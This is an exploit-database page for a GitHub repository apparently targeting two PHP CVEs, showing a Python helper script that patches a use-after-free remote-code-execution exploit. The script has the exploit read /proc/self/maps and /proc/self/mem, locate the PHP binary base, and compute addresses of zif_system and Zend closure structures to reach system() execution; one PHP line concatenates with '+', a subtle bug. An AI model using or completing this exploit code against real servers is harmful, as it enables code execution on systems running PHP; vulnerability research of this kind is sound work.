Exploit databaseDownload repository ZIP
GH-5ebdb93b3f7c28d098b0fd2fbbd85f09
gumerzzzindo/php2shell-cve-2026-109618-109619
Sources for CVE-2026-109618
411 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
gumerzzzindo/php2shell-cve-2026-109618-109619Revision e662ad88c44f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/bake6.py
Python · 1,326 bytessrc=open('var_destroy_uaf_rce.php').read()
OLD="$bin=find_bin(); $zif=$bin+0x3890a0; $cec=$bin+0xa272b8; $hdl=$bin+0xa272c0;"
assert OLD in src, 'ancla'
NEW=r'''
function r8($fp2,$a){ fseek($fp2,$a); $d=fread($fp2,8); return strlen($d)===8?unpack('P',$d)[1]:0; }
$all=[]; foreach(explode("\n",file_get_contents('/proc/self/maps')) as $l){ if(preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+(\S+)\s+([0-9a-f]+)\s/',$l,$m)){ $all[]=[hexdec($m[1]),hexdec($m[2]),$m[3],(strpos($l,'/usr/local/bin/php')!==false)?1:0]; } }
$fp2=@fopen('/proc/self/mem','rb'); if(!$fp2){ fwrite(STDERR,"[!] mem\n"); return; }
$base=0; foreach($all as $M){ if($M[3]===1&&strpos($M[2],'x')!==false){ $base=$M[0]; break; } }
if(!$base){ fwrite(STDERR,"[!] base\n"); return; }
$zif=$base+0x40cc20; /* zif_system (rela: FE 'system' slot+8; stub ICF ba01..e9) */
$hdl=r8($fp2,$base+0x1ae4d40); /* VALUE del global zend_ce_closure (0x1ce4d40-0x200000) */
if(!$hdl){ fwrite(STDERR,"[!] ce nula base=0x".dechex($base)."\n"); return; }
$cec=$base+0x1bff080; /* std_object_handlers; la via rapida de Zend mira la CE primero */
fwrite(STDERR,"[resolv] base=0x".dechex($base)+" zif=0x".dechex($zif)." ce=0x".dechex($hdl)." cec=0x".dechex($cec)."\n");
'''
open('lab6.php','w').write(src.replace(OLD,NEW))
print('lab6.php listo (sin scans: via rapida de la CE)')